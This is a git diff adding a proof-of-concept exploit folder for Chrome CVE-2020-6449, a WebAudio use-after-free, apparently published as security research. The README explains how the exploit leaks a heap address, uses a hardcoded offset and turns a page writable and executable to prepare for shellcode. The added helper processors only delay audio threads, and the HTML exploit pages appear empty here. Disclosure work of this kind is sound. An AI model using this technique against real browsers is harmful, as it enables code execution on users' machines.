diff --git a/SecurityExploits/Chrome/blink/CVE-2020-6449/README.md b/SecurityExploits/Chrome/blink/CVE-2020-6449/README.md new file mode 100644 index 0000000..5c90b31 --- /dev/null +++ b/SecurityExploits/Chrome/blink/CVE-2020-6449/README.md @@ -0,0 +1,24 @@ +## Exploit for Chrome CVE-2020-6449 + +The write up can be found [here](https://securitylab.github.com/research/CVE-2020-6449-exploit-chrome-uaf). This is a bug in the webaudio component I discovered in March 2020. Chromium issue ticket can be found [here.](https://bugs.chromium.org/p/chromium/issues/detail?id=1059686) + +The exploit is tested on Ubuntu 18.04 LTS, version 80.0.3987.137, with the following build config: (Probably can reduce symbol level) + +``` +is_debug=false +symbol_level = 2 +blink_symbol_level = 2 +``` + +Offsets and object sizes used are based on the linux build. + +The exploit is mostly reliable when testing on localhost with python `SimpleHTTPServer`. However, it is not 100% reliable. This is due to the hardcoded offset between the address of a memory bucket that was leaked and the memory bucket that is actually used to store controlled data. This offset is used in `calculateControlledAddress`: + +``` + //Hardcoded offset between heap bins. + let controlledAddress = bigIntView[0] + 0x184798n; +``` + +This mostly fail when there is a broken pipe problem with the `SimpleHTTPServer`, which happens when the browser is not shutdown properly (shutdown by `Ctrl+C` rather than closing it from UI) Reliability can probably be improved by using memory buckets that are closer together, or just by putting the whole thing inside an out-of-process-iframe so that if it crashed, it can be restarted from the parent. (Although the bucket offset would need to be tuned again in this case) + +The exploit takes a couple of minutes to run. If successful, it will overwrite memory permission for a page that holds our controlled data and will print out the address of this page. It can then be verified that the memory permission has been written to `rwx` for that page using `/proc//maps` (the renderer can be easy to spot by as it should consumed about 400Mb of memory). After that, executing shell code is easy, although I have not included or executed any shell code in this exploit. diff --git a/SecurityExploits/Chrome/blink/CVE-2020-6449/delay-processor.js b/SecurityExploits/Chrome/blink/CVE-2020-6449/delay-processor.js new file mode 100644 index 0000000..7bf6fd1 --- /dev/null +++ b/SecurityExploits/Chrome/blink/CVE-2020-6449/delay-processor.js @@ -0,0 +1,15 @@ +// white-noise-processor.js +function sleep(miliseconds) { + var currentTime = new Date().getTime(); + while (currentTime + miliseconds >= new Date().getTime()) { + } +} + +class DelayProcessor extends AudioWorkletProcessor { + process (inputs, outputs, parameters) { + sleep(2); + return true + } +} + +registerProcessor('delay-processor', DelayProcessor) diff --git a/SecurityExploits/Chrome/blink/CVE-2020-6449/finished_delay_release.html b/SecurityExploits/Chrome/blink/CVE-2020-6449/finished_delay_release.html new file mode 100644 index 0000000..d87ec60 --- /dev/null +++ b/SecurityExploits/Chrome/blink/CVE-2020-6449/finished_delay_release.html @@ -0,0 +1,298 @@ + + + + + +
+
+
+
+ + diff --git a/SecurityExploits/Chrome/blink/CVE-2020-6449/finished_delay_release2.html b/SecurityExploits/Chrome/blink/CVE-2020-6449/finished_delay_release2.html new file mode 100644 index 0000000..94a8503 --- /dev/null +++ b/SecurityExploits/Chrome/blink/CVE-2020-6449/finished_delay_release2.html @@ -0,0 +1,45 @@ + + + + + + + diff --git a/SecurityExploits/Chrome/blink/CVE-2020-6449/test-processor.js b/SecurityExploits/Chrome/blink/CVE-2020-6449/test-processor.js new file mode 100644 index 0000000..96a2e3a --- /dev/null +++ b/SecurityExploits/Chrome/blink/CVE-2020-6449/test-processor.js @@ -0,0 +1,15 @@ +// white-noise-processor.js +function sleep(miliseconds) { + var currentTime = new Date().getTime(); + while (currentTime + miliseconds >= new Date().getTime()) { + } +} + +class TestProcessor extends AudioWorkletProcessor { + process (inputs, outputs, parameters) { + sleep(2); + return true + } +} + +registerProcessor('test-processor', TestProcessor) diff --git a/SecurityExploits/Chrome/blink/CVE-2020-6449/test-processor2.js b/SecurityExploits/Chrome/blink/CVE-2020-6449/test-processor2.js new file mode 100644 index 0000000..75c58c5 --- /dev/null +++ b/SecurityExploits/Chrome/blink/CVE-2020-6449/test-processor2.js @@ -0,0 +1,15 @@ +// white-noise-processor.js +function sleep(miliseconds) { + var currentTime = new Date().getTime(); + while (currentTime + miliseconds >= new Date().getTime()) { + } +} + +class TestProcessor extends AudioWorkletProcessor { + process (inputs, outputs, parameters) { + sleep(300); + return true + } +} + +registerProcessor('test-processor', TestProcessor)